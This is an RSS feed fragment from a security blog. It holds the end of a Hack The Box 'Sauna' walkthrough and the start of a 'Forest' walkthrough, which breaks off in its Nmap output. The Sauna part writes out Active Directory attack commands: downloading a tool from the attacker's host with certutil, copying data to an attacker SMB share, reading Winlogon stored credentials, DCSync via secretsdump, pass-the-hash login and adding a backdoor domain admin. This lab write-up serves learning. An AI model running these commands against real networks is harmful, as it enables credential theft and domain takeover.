&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host is up &lt;span style="color:#f92672"&gt;(&lt;/span&gt;0.030s latency&lt;span style="color:#f92672"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Not shown: &lt;span style="color:#ae81ff"&gt;65515&lt;/span&gt; filtered tcp ports &lt;span style="color:#f92672"&gt;(&lt;/span&gt;no-response&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;53/tcp open domain Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;80/tcp open http Microsoft IIS httpd 10.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-IIS/10.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Egotistical Bank :: Home
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods: 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Potentially risky methods: TRACE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;88/tcp open kerberos-sec Microsoft Windows Kerberos &lt;span style="color:#f92672"&gt;(&lt;/span&gt;server time: 2026-04-07 19:54:10Z&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;135/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;139/tcp open netbios-ssn Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;389/tcp open ldap Microsoft Windows Active Directory LDAP &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;445/tcp open microsoft-ds?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;464/tcp open kpasswd5?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;636/tcp open tcpwrapped
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3268/tcp open ldap Microsoft Windows Active Directory LDAP &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3269/tcp open tcpwrapped
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;5985/tcp open http Microsoft HTTPAPI httpd 2.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;SSDP/UPnP&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/2.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;9389/tcp open mc-nmf .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49667/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49678/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49679/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49692/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49700/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; open and &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Device type: general purpose
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Running &lt;span style="color:#f92672"&gt;(&lt;/span&gt;JUST GUESSING&lt;span style="color:#f92672"&gt;)&lt;/span&gt;: Microsoft Windows 2019|&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;97%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Aggressive OS guesses: Windows Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;97%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Microsoft Windows &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1903&lt;/span&gt; - 21H1 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;91%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;No exact OS matches &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; host &lt;span style="color:#f92672"&gt;(&lt;/span&gt;test conditions non-ideal&lt;span style="color:#f92672"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Network Distance: &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; hops
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_clock-skew: 6h59m51s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time: 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date: 2026-04-07T19:55:03
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date: N/A
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode: 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 3:1:1: 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled and required
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Analyzing the scan, I notice quite a few similarities to the Forest box. It is a domain controller, has HTTP, LDAP and WinRM open. At this point, I’m thinking that this could be a very similar setup to Forest.&lt;/p&gt;
&lt;h2 id="http--as-rep-roast"&gt;&lt;a href="#http--as-rep-roast" class="header-anchor"&gt;&lt;/a&gt;HTTP + AS-REP Roast
&lt;/h2&gt;&lt;p&gt;Let’s start with HTTP. I opened my browser and navigated to the webpage. Right off the bat, I am presented with Egotistical Bank’s homepage. Knowing that this is an actual webpage, I start DirBuster to enumerate available paths. DirBuster is a great tool to use when it comes to HTTP. It will take a wordlist and run through the URL and see if any pages exist. If it comes back with an HTTP 200, 301 or 403, it will report. HTTP 200 means that the page exists and is accessible. HTTP 301 is a redirect. This means that it will redirect you to a different page. 403 is an indication that you don’t have permission to view that page.&lt;/p&gt;
&lt;p&gt;The way I approach DirBuster is to launch it with the &amp;amp; at the end of the command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dirbuster&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &amp;amp; allows it to open from the terminal but still allow other commands to run. I start with the DirBuster medium list and let it run. I select the “go faster” option. Since I know this is IIS, I select asp and aspx for file extensions. If this were Linux, I would leave it as PHP.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Dirbuster Window" class="gallery-image" data-flex-basis="337px" data-flex-grow="140" height="1078" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/sauna/dirbuster.png" srcset="https://midwestsec.com/walkthroughs/sauna/dirbuster_hu_92e0fd8d4025db99.png 800w, https://midwestsec.com/walkthroughs/sauna/dirbuster.png 1514w" width="1514"&gt;&lt;/p&gt;
&lt;p&gt;While DirBuster is running, I’m analyzing the web site itself. I look at blogs and see a “jenny joy” that has posted. I make note of that as a potential user. I then see the “About” page. Looking through that, I see a list of employees. I created a txt file with different combinations their names. For example, first initial+last name, first name+last name, etc… After creating a list of potential usernames, I attempted AS-REP roasting. I followed the same path as I did in Forest, so I won’t go into that detail. After going through the AS-REP roasting, I was successful and obtained an AS-REP hash for fsmith. From there, I was able to crack the password using Hashcat. Again, it was the same process as Forest.&lt;/p&gt;
&lt;p&gt;&lt;img alt="AS-REP Roast" class="gallery-image" data-flex-basis="892px" data-flex-grow="371" height="452" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/sauna/asreproast.png" srcset="https://midwestsec.com/walkthroughs/sauna/asreproast_hu_9d0a8b720547b44d.png 800w, https://midwestsec.com/walkthroughs/sauna/asreproast_hu_e1e09534567f0496.png 1600w, https://midwestsec.com/walkthroughs/sauna/asreproast.png 1680w" width="1680"&gt;
&lt;img alt="Cracked AS-REP Roast Hash" class="gallery-image" data-flex-basis="1731px" data-flex-grow="721" height="232" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/sauna/crackeduserpw.png" srcset="https://midwestsec.com/walkthroughs/sauna/crackeduserpw_hu_63c905043890edf5.png 800w, https://midwestsec.com/walkthroughs/sauna/crackeduserpw_hu_2d520a3f74d4b572.png 1600w, https://midwestsec.com/walkthroughs/sauna/crackeduserpw.png 1674w" width="1674"&gt;&lt;/p&gt;
&lt;h2 id="evil-winrm--sharphound"&gt;&lt;a href="#evil-winrm--sharphound" class="header-anchor"&gt;&lt;/a&gt;Evil-WinRM + SharpHound
&lt;/h2&gt;&lt;p&gt;With valid credentials, I established a foothold using Evil-WinRM. While navigating through the machine, an account stood out: svc-loanmanager. I decided to focus on that later.&lt;/p&gt;
&lt;p&gt;I copied SharpHound over to the remote machine. I first navigated to where SharpHound is located and then started up a simple HTTP server. This allows me to copy the file from Kali to the remote machine. The IP of 10.10.15.101 is the IP of my machine.&lt;/p&gt;
&lt;p&gt;On Kali&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /usr/share/sharphound
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 -m http.server &lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On the DC&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certutil -urlcache -f http://10.10.15.101/SharpHound sharp.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This uses the built-in Windows command to download the file from my Kali machine. Once it has been downloaded, I simply run SharpHound. SharpHound gathers Active Directory data for analysis in BloodHound.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#ae81ff"&gt;\s&lt;/span&gt;harp.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once I have the data, I copy it back to my machine for analysis in BloodHound. The easiest way I’ve found to copy from the remote machine to my attacking machine is to host an SMB server on my machine and copy that way. I prefer using SMB because it is typically faster and more reliable than HTTP for transferring files.&lt;/p&gt;
&lt;p&gt;On Kali&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;impacket-smbserver share . -smb2support
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On the DC&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;copy 20260410162326_BloodHound.zip &lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;10.10.15.101&lt;span style="color:#ae81ff"&gt;\s&lt;/span&gt;hare&lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now that I have the data, I imported the data into BloodHound.&lt;/p&gt;
&lt;h2 id="bloodhound"&gt;&lt;a href="#bloodhound" class="header-anchor"&gt;&lt;/a&gt;BloodHound
&lt;/h2&gt;&lt;p&gt;Again, I’m slowly learning the nuances of BloodHound. I analyzed the data I had for the fsmith account. It showed PSRemote as a potential escalation path. After looking into it, it wasn’t going to provide me any access that I didn’t already have by Evil-WinRM. As I mentioned earlier, I noticed that svc-loanmanager account. I investigated that account and noticed it had DCSync permissions already. This was the lightbulb moment. If I could compromise that account, I could perform a DCSync. DCSync allows for data replication from the domain controller, if the user has permissions to do so. When it syncs, it relays users and password hashes. I now have my next target.&lt;/p&gt;
&lt;p&gt;&lt;img alt="BloodHound Links" class="gallery-image" data-flex-basis="1423px" data-flex-grow="593" height="442" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/sauna/bh_dcsync.png" srcset="https://midwestsec.com/walkthroughs/sauna/bh_dcsync_hu_17b6991d4e62f1bc.png 800w, https://midwestsec.com/walkthroughs/sauna/bh_dcsync_hu_ca953810e79b05a9.png 1600w, https://midwestsec.com/walkthroughs/sauna/bh_dcsync_hu_dc13f72c7f541b61.png 2400w, https://midwestsec.com/walkthroughs/sauna/bh_dcsync.png 2622w" width="2622"&gt;&lt;/p&gt;
&lt;h2 id="stored-passwords--privilege-escalation"&gt;&lt;a href="#stored-passwords--privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;Stored Passwords + Privilege Escalation
&lt;/h2&gt;&lt;p&gt;I went through my Windows Privilege Escalation notes to see what paths I might have available to me. I looked at user permissions and didn’t have anything that I could readily abuse. Continuing through my notes, I started to look for passwords. Initially, I used a simple findstr command to see if I could get anything to return.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;findstr /si password *.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While that was running, I continued through my notes. I came across a registry query command that looks in the WinLogon section for credentials. The WinLogon registry key controls elements of the Windows logon process. If auto-logon is configured for a user, the credentials could be stored in plaintext. This can then be retrieved and used. I used the following command on the DC:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reg query &lt;span style="color:#e6db74"&gt;&amp;#34;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This brought back the password for the svc-loanmanager account that I was focused on. Now that I had those credentials, I could perform a DCSync attack and gather the hashes for all users within the domain.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Service account password" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="svc%20account.png"&gt;&lt;/p&gt;
&lt;h2 id="compromise--persistence"&gt;&lt;a href="#compromise--persistence" class="header-anchor"&gt;&lt;/a&gt;Compromise + Persistence
&lt;/h2&gt;&lt;p&gt;I performed the DCSync and gathered the hashes.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;impacket-secretsdump egotisticalbank/svc_loanmgr:&lt;span style="color:#e6db74"&gt;&amp;#39;[PW]&amp;#39;&lt;/span&gt;@10.129.10.103
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Successful DCSync" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="admin%20hash.png"&gt;&lt;/p&gt;
&lt;p&gt;Now that I have the administrator hash, I used Evil-WinRM to get back into the DC as the domain admin.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;evil-winrm -i 10.129.10.103 -u Administrator -H &lt;span style="color:#f92672"&gt;[&lt;/span&gt;hash&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Domain Admin WinRM" class="gallery-image" data-flex-basis="779px" data-flex-grow="324" height="512" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/sauna/admin.png" srcset="https://midwestsec.com/walkthroughs/sauna/admin_hu_de2e83d124c23510.png 800w, https://midwestsec.com/walkthroughs/sauna/admin_hu_f3a3874bdd984978.png 1600w, https://midwestsec.com/walkthroughs/sauna/admin.png 1662w" width="1662"&gt;&lt;/p&gt;
&lt;p&gt;I then navigated to the desktop and captured the flag. To demonstrate full domain compromise and persistence, I created a new domain administrator account. On the DC, I ran:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net user zach abcd.1234! /add
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net group &lt;span style="color:#e6db74"&gt;&amp;#34;Domain Admins&amp;#34;&lt;/span&gt; zach /add
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This created an account named zach that is a domain admin. Again, I used Evil-WinRM to gain access to the DC and prove that I was a domain admin.&lt;/p&gt;
&lt;p&gt;&lt;img alt="New Admin Proof" class="gallery-image" data-flex-basis="1894px" data-flex-grow="789" height="170" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/sauna/add_da.png" srcset="https://midwestsec.com/walkthroughs/sauna/add_da_hu_4de68496a40db8d.png 800w, https://midwestsec.com/walkthroughs/sauna/add_da.png 1342w" width="1342"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Adding Domain Admin" class="gallery-image" data-flex-basis="1282px" data-flex-grow="534" height="574" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/sauna/zach_DA.png" srcset="https://midwestsec.com/walkthroughs/sauna/zach_DA_hu_20636d64af749589.png 800w, https://midwestsec.com/walkthroughs/sauna/zach_DA_hu_ac23fbe2a210426e.png 1600w, https://midwestsec.com/walkthroughs/sauna/zach_DA_hu_4bcd890c571c8206.png 2400w, https://midwestsec.com/walkthroughs/sauna/zach_DA.png 3068w" width="3068"&gt;&lt;/p&gt;
&lt;h2 id="final-thoughts"&gt;&lt;a href="#final-thoughts" class="header-anchor"&gt;&lt;/a&gt;Final Thoughts
&lt;/h2&gt;&lt;p&gt;Overall, the initial foothold was the same as Forest. Pattern recognition is starting to click, especially recognizing when WinRM and AS-REP roasting can be reused across similar environments. I quickly realized that WinRM and AS-REP roasting were viable paths based on patterns from previous machines. This was a fun box and I’m looking forward to continuing to improve.&lt;/p&gt;</description></item><item><title>HTB - Forest</title><link>https://midwestsec.com/walkthroughs/forest/</link><pubDate>Tue, 07 Apr 2026 00:00:00 +0000</pubDate><guid>https://midwestsec.com/walkthroughs/forest/</guid><description>&lt;h1 id="introduction"&gt;&lt;a href="#introduction" class="header-anchor"&gt;&lt;/a&gt;Introduction
&lt;/h1&gt;&lt;p&gt;Hello and welcome to my first walkthrough. I’m going over Hack the Box’s &lt;em&gt;Forest&lt;/em&gt; box. While working on this box, I learned about AS-REP roasting and DACL attacks. I’m still new to the red-team world so all of this was new and exciting to learn about! Throughout this writeup, you’ll see me use [IP] as a placeholder for the IP of the machine. This is because I had to reset it daily as I get ~30 minutes a day to work on these boxes.&lt;/p&gt;
&lt;h2 id="initial-enumeration"&gt;&lt;a href="#initial-enumeration" class="header-anchor"&gt;&lt;/a&gt;Initial Enumeration
&lt;/h2&gt;&lt;p&gt;Every environment I work in immediately starts with an Nmap scan. This allows me to see what devices are on the network, their running services and information about those services. The Nmap command I run is&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nmap -A -p- -T &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The -A flag provides OS detection (-O flag), version detection (-sV flag) and runs default scripts against the endpoint (-sC flag). The default scripts look for things like SSL cert info, SMB info and HTTP titles. The -A flag also performs a traceroute from the attacking machine to the remote machine. This allows you to see how data gets from the attacking machine to the remote machine and can be useful.&lt;/p&gt;
&lt;p&gt;The -p- flag scans all 65,535 TCP ports. By default, Nmap only scans the first 1000 most common ports. The remaining 64,535 ports could be in use, and you won’t know it by using the default options. By using the -p- flag, we’re able to enumerate all the ports and see if something is running on a non-standard port. In the past, I’ve encountered HTTP running on non-standard ports that have allowed me to compromise the machine.&lt;/p&gt;
&lt;p&gt;The -T flag controls the speed at which Nmap performs the scan. You can choose a number between 1 (slow) and 5 (fast). Depending on the environment, you may want to slow things down to avoid detection. I’ve found that -T 4 is the “sweet spot” for labs.&lt;/p&gt;
&lt;p&gt;Now that I’ve described my initial Nmap scan, let’s get to the results.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting Nmap 7.95 &lt;span style="color:#f92672"&gt;(&lt;/span&gt; https://nmap.org &lt;span style="color:#f92672"&gt;)&lt;/span&gt; at 2026-02-18 07:29 CST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap scan report &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; 10.129.1.45
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host is up &lt;span style="color:#f92672"&gt;(&lt;/span&gt;0.031s latency&lt;span style="color:#f92672"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Not shown: &lt;span style="color:#ae81ff"&gt;65512&lt;/span&gt; closed tcp ports &lt;span style="color:#f92672"&gt;(&lt;/span&gt;reset&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;53/tcp open domain Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;88/tcp open kerberos-sec Microsoft Windows Kerberos &lt;span style="color:#f92672"&gt;(&lt;/span&gt;server time: 2026-02-18 13:36:18Z&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;135/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;139/tcp open netbios-ssn Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;389/tcp open ldap Microsoft Windows Active Directory LDAP &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Domain: htb.local, Site: Default-First-Site-Name&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;445/tcp open microsoft-ds Windows Server &lt;span style="color:#ae81ff"&gt;2016&lt;/span&gt; Standard &lt;span style="color:#ae81ff"&gt;14393&lt;/span&gt; microsoft-ds &lt;span style="color:#f92672"&gt;(&lt;/span&gt;workgroup: HTB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;464/tcp open kpasswd5?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;636/tcp open tcpwrapped
